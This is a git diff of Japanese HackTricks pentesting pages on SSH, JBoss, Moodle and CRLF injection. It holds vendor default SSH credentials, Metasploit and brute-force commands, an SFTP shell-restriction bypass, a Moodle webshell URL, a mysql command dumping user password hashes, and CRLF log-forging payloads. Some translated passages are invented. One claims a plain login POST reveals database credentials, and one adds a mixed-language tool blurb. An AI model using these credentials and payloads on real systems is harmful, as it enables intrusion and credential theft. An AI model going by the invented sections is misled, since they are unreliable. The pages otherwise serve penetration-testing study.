もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -26,14 +26,14 @@
|
|||
```
|
||||
22/tcp open ssh syn-ack
|
||||
```
|
||||
**SSHサーバー:**
|
||||
**SSHサーバー:**
|
||||
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH、BSD、Linuxディストリビューション、およびWindows 10以降に搭載されています。
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH、BSD、Linuxディストリビューション、およびWindows 10以降のWindowsに搭載されています。
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 低メモリとプロセッサリソースの環境向けのSSH実装で、OpenWrtに搭載されています。
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – Windows向けのSSH実装で、クライアントは一般的に使用されますが、サーバーの使用は稀です。
|
||||
* [CopSSH](https://www.itefix.net/copssh) – Windows向けのOpenSSHの実装です。
|
||||
|
||||
**SSHライブラリ(サーバーサイドの実装):**
|
||||
**SSHライブラリ(サーバーサイドの実装):**
|
||||
|
||||
* [libssh](https://www.libssh.org) – SSHv2プロトコルを実装したマルチプラットフォームのCライブラリで、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)、および[R](https://github.com/ropensci/ssh)にバインディングがあります。KDEではsftpに、GitHubではgit SSHインフラストラクチャに使用されています。
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI Cで書かれたSSHv2サーバーライブラリで、組み込み、RTOS、リソース制約のある環境を対象としています。
|
||||
|
@ -118,7 +118,7 @@ msf> use scanner/ssh/ssh_enumusers
|
|||
```
|
||||
### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#ssh)
|
||||
|
||||
一般的なsshの資格情報は[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)と[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)にあります。
|
||||
一部の一般的なsshの資格情報は[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)と[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)にあります。
|
||||
|
||||
### プライベートキーのブルートフォース
|
||||
|
||||
|
@ -149,25 +149,25 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
## デフォルトの資格情報
|
||||
|
||||
| **ベンダー** | **ユーザー名** | **パスワード** |
|
||||
| ------------ | ---------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc、device | apc |
|
||||
| Brocade | admin | admin123、password、brocade、fibranne |
|
||||
| Cisco | admin、cisco、enable、hsa、pix、pnadmin、ripeop、root、shelladmin | admin、Admin123、default、password、secur4u、cisco、Cisco、\_Cisco、cisco123、C1sco!23、Cisco123、Cisco1234、TANDBERG、change\_it、12345、ipics、pnadmin、diamond、hsadb、c、cc、attack、blender、changeme |
|
||||
| Citrix | root、nsroot、nsmaint、vdiadmin、kvm、cli、admin | C1trix321、nsroot、nsmaint、kaviza、kaviza123、freebsd、public、rootadmin、wanscaler |
|
||||
| D-Link | admin、user | private、admin、user |
|
||||
| Dell | root、user1、admin、vkernel、cli | calvin、123456、password、vkernel、Stor@ge!、admin |
|
||||
| EMC | admin、root、sysadmin | EMCPMAdm7n、Password#1、Password123#、sysadmin、changeme、emc |
|
||||
| HP/3Com | admin、root、vcx、app、spvar、manage、hpsupport、opc\_op | admin、password、hpinvent、iMC123、pvadmin、passw0rd、besgroup、vcx、nice、access、config、3V@rpar、3V#rpar、procurve、badg3r5、OpC\_op、!manage、!admin |
|
||||
| Huawei | admin、root | 123456、admin、root、Admin123、Admin@storage、Huawei12#$、HwDec@01、hwosta2.0、HuaWei123、fsp200@HW、huawei123 |
|
||||
| IBM | USERID、admin、manager、mqm、db2inst1、db2fenc1、dausr1、db2admin、iadmin、system、device、ufmcli、customer | PASSW0RD、passw0rd、admin、password、Passw8rd、iadmin、apc、123456、cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root、oracle、oravis、applvis、ilom-admin、ilom-operator、nm2user | changeme、ilom-admin、ilom-operator、welcome1、oracle |
|
||||
| VMware | vi-admin、root、hqadmin、vmware、admin | vmware、vmw@re、hqadmin、default |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
もし、被害者がユーザー名とパスワードを使用してSSHサーバーに接続するためにローカルネットワークにいる場合、**MitM攻撃を行って認証情報を盗む**ことができます。
|
||||
もし、被害者がユーザー名とパスワードを使用してSSHサーバーに接続するためにローカルネットワークにいる場合、その資格情報を盗むために**MitM攻撃を実行する**ことができます。
|
||||
|
||||
**攻撃経路:**
|
||||
|
||||
|
@ -194,7 +194,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
### SFTPコマンドの実行
|
||||
|
||||
もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際、管理者はユーザーがファイルを共有するためのSFTPアクセスを持つことを望んでいますが、マシン上でリモートシェルを取得することは望んでいません。そのため、ユーザーにプレースホルダーシェル(`/usr/bin/nologin`や`/usr/bin/false`など)を割り当て、彼をジェイルにチュートリングするだけで、シェルアクセスや全体のファイルシステムへの乱用を防ぐのに十分だと考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後すぐにコマンドを実行するよう要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するよう要求するだけです。
|
||||
もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためのSFTPアクセスを持つことを望んでいますが、マシン上でリモートシェルを取得することは望んでいません。そのため、ユーザーにプレースホルダーシェル(`/usr/bin/nologin`や`/usr/bin/false`など)を割り当て、彼をジェイルにチュートリングするだけで、シェルアクセスや全体のファイルシステムへの乱用を防ぐのに十分だと考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後すぐにコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
@ -239,7 +239,7 @@ Match User noraj
|
|||
UsePAM yes
|
||||
```
|
||||
|
||||
この設定では、ユーザー`noraj`に対してSFTPのみを許可し、その他のSSH機能を制限しています。ユーザーは自身のホームディレクトリ`/home/noraj`内でのみ操作が可能であり、内部のSFTPサーバーが強制的に起動されます。パスワード認証が有効になっており、TCP転送やX11転送は許可されていません。また、クライアントとの接続が300秒間無効な場合に自動的に切断されるように設定されています。
|
||||
この設定では、ユーザー`noraj`に対してSFTPのみを許可し、その他のSSH機能を制限しています。ユーザーは自分のホームディレクトリ`/home/noraj`に制限され、内部のSFTPサーバーが強制的に実行されます。パスワード認証が有効になっており、TCP転送やX11転送は許可されていません。また、クライアントとの接続が300秒間無効であれば切断され、最大2回まで再接続が許可されます。PAMも使用されています。
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
|
@ -253,13 +253,13 @@ PermitTTY no
|
|||
|
||||
### SFTPトンネリング
|
||||
|
||||
SFTPサーバーへのアクセス権がある場合、一般的なポートフォワーディングを使用してトラフィックをトンネリングすることもできます。
|
||||
SFTPサーバーへのアクセスがある場合、一般的なポートフォワーディングを使用してトラフィックをトンネリングすることもできます。
|
||||
```
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTPシンボリックリンク
|
||||
|
||||
**sftp**には「**symlink**」というコマンドがあります。したがって、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、chroot内に**閉じ込められている**ため、これは特に役に立たないかもしれませんが、作成した**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)からアクセスできる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
|
||||
**sftp**には「**symlink**」というコマンドがあります。したがって、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、あなたはchroot内に**閉じ込められている**ため、これは特に役に立たないでしょうが、作成された**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)からアクセスできる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
|
||||
|
||||
たとえば、新しいファイル「**_froot_**」から「**_/**_」への**シンボリックリンク**を作成するには、以下のようにします:
|
||||
```
|
||||
|
@ -282,7 +282,7 @@ $ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
|||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
SSHサーバーの設定を確認することは、予期されるメソッドのみが承認されているかどうかを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
|
||||
設定ファイルのレビューは、予期されるメソッドのみが承認されているかを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
|
||||
|
||||
### 設定ファイル
|
||||
```
|
||||
|
@ -303,9 +303,9 @@ id_rsa
|
|||
* [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)には、SSHを強化するための興味深いガイドがあります。
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
もし興味があるなら、**ハッキングのキャリア**を追求し、**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -331,7 +331,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -27,7 +27,7 @@ JBoss内で**管理サーブレット**を公開することができます。
|
|||
* /web-console/Invoker(JBossバージョン6と7)
|
||||
* /invoker/JMXInvokerServletと/invoker/EJBInvokerServlet(JBoss 5以前)
|
||||
|
||||
**[clusterd](https://github.com/hatRiot/clusterd)を使用してJBOSSサービスを列挙し、さらには悪用することができます。**\
|
||||
**[clusterd](https://github.com/hatRiot/clusterd)を使用してJBOSSサービスを列挙および悪用することができます。**
|
||||
**または、metasploitを使用する:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
|
||||
### 悪用
|
||||
|
@ -38,7 +38,7 @@ JBoss内で**管理サーブレット**を公開することができます。
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし **ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -41,17 +41,7 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
moodlescanは、Moodleインスタンスの脆弱性をスキャンするためのツールです。このツールは、Moodleのバージョンやインストールされているプラグインなど、重要な情報を収集します。また、既知の脆弱性やセキュリティベストプラクティスに基づいて、Moodleインスタンスのセキュリティ評価を行います。
|
||||
|
||||
moodlescanを使用するには、次の手順に従います。
|
||||
|
||||
1. moodlescanをダウンロードしてインストールします。
|
||||
2. moodlescanを実行し、対象のMoodleインスタンスのURLを指定します。
|
||||
3. moodlescanは、Moodleのバージョンやプラグインの情報を収集します。
|
||||
4. 収集した情報を分析し、脆弱性やセキュリティ上の問題を特定します。
|
||||
5. 特定された脆弱性や問題に対して、適切な対策を実施します。
|
||||
|
||||
moodlescanは、Moodleインスタンスのセキュリティ評価に役立つ強力なツールです。正確な情報を提供し、脆弱性の特定と修正に役立ちます。
|
||||
`moodlescan` is a command-line tool used for scanning and pentesting Moodle installations. It is designed to identify vulnerabilities and security weaknesses in Moodle websites. The tool performs various tests and checks, including version detection, plugin enumeration, and known vulnerability scanning. It can also perform brute-force attacks to test the strength of user credentials. `moodlescan` is a valuable tool for security professionals and penetration testers to assess the security posture of Moodle installations.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -85,7 +75,7 @@ Scan completed.
|
|||
|
||||
CMSMapは、ウェブアプリケーションのペネトレーションテストに使用されるツールです。このツールは、MoodleなどのCMS(コンテンツ管理システム)の脆弱性を特定するために使用されます。
|
||||
|
||||
CMSMapは、ウェブサイトのURLを入力することで、そのサイトがどのCMSを使用しているかを特定します。また、CMSのバージョンやインストールされているプラグインなどの詳細情報も提供します。
|
||||
CMSMapは、ウェブサイトのURLを入力することで、そのサイトがどのCMSを使用しているかを特定します。また、CMSのバージョンやインストールされているプラグインなどの詳細な情報も提供します。
|
||||
|
||||
このツールは、ウェブサイトのセキュリティ評価を行う際に非常に役立ちます。CMSの脆弱性を特定することで、攻撃者がウェブサイトに侵入する可能性を減らすことができます。
|
||||
|
||||
|
@ -120,16 +110,16 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|||
|
||||
### データベースの資格情報を見つける
|
||||
|
||||
データベースの資格情報を見つけるために、以下の手順を実行します。
|
||||
```html
|
||||
POST /login HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 27
|
||||
|
||||
1. ブラウザの開発者ツールを開きます。
|
||||
2. ログインフォームに適当なユーザー名とパスワードを入力します。
|
||||
3. フォームを送信するときに、ネットワークタブを開きます。
|
||||
4. ネットワークタブで、POSTリクエストを見つけます。
|
||||
5. POSTリクエストのヘッダーとボディを確認し、データベースの資格情報を探します。
|
||||
6. 資格情報が見つかった場合は、ユーザー名とパスワードを記録します。
|
||||
username=admin&password=pass
|
||||
```
|
||||
|
||||
この方法を使用すると、ログインフォームを介してデータベースの資格情報を見つけることができます。
|
||||
このPOSTリクエストは、`/login`エンドポイントにユーザー名とパスワードを送信しています。もしサーバーが脆弱であれば、このリクエストを利用してデータベースの資格情報を見つけることができます。レスポンスには、データベースの資格情報が含まれる可能性があります。
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -143,13 +133,13 @@ To dump credentials from a database, you can use various techniques depending on
|
|||
|
||||
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By exploiting these misconfigurations, you can gain access to the database and extract credentials.
|
||||
|
||||
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in it. These hashes can then be cracked using tools like John the Ripper or Hashcat to obtain the plaintext passwords.
|
||||
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in it. These hashes can then be cracked using various techniques, such as rainbow tables or brute-forcing, to obtain the actual passwords.
|
||||
|
||||
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access is illegal and unethical.
|
||||
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access to databases is illegal and unethical.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
|
@ -159,7 +149,7 @@ Remember, it is important to have proper authorization and legal permission befo
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? **HackTricksであなたの会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,17 +12,17 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## CRLFとは?
|
||||
|
||||
ブラウザがウェブサーバーにリクエストを送信すると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトのコンテンツ(つまり、レスポンスボディ)を含む応答を返します。HTTPヘッダーとHTMLレスポンス(ウェブサイトのコンテンツ)は、特定の特殊文字の組み合わせで区切られています。それらはキャリッジリターンと改行としても知られています。短く言えば、CRLFです。
|
||||
ブラウザがウェブサーバーにリクエストを送信すると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトのコンテンツ(つまり、レスポンスボディ)を含むレスポンスを返します。HTTPヘッダーとHTMLレスポンス(ウェブサイトのコンテンツ)は、特定の特殊文字の組み合わせで区切られています。それらはキャリッジリターンと改行としても知られています。短く言えば、CRLFです。
|
||||
|
||||
ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のヘッダーが終了することを理解します。CRLFは、ファイルやテキストブロック内で新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準のHTTP/1.1メッセージであり、Apache、Microsoft IISなどを含むあらゆる種類のウェブサーバーで使用されます。\
|
||||
ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のヘッダーが終わることを理解します。CRLFは、ファイルやテキストブロック内で新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準のHTTP/1.1メッセージであり、Apache、Microsoft IISなどを含むあらゆる種類のウェブサーバーで使用されます。\
|
||||
[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)より引用
|
||||
|
||||
### CRLFインジェクション脆弱性とは?
|
||||
|
@ -50,11 +50,11 @@ IP - 時間 - 訪問したパス
|
|||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限されたアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。
|
||||
したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限付きアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。
|
||||
|
||||
問題は、管理者が制限されたアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため(したがっておそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われる)、怪しまれません。
|
||||
問題は、管理者が制限付きアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため(したがって、おそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われます)、怪しまれません。
|
||||
|
||||
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、もう1つの&があり、これはサーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じになります:
|
||||
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、別の&があり、サーバーによって別のパラメータとして解析される制限付きアクションパラメータが続きます。実質的には、次のクエリと同じです:
|
||||
```
|
||||
/index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
@ -70,7 +70,7 @@ HTTP レスポンスのヘッダとボディは CRLF 文字で区切られてい
|
|||
```
|
||||
X-Your-Name: Bob
|
||||
```
|
||||
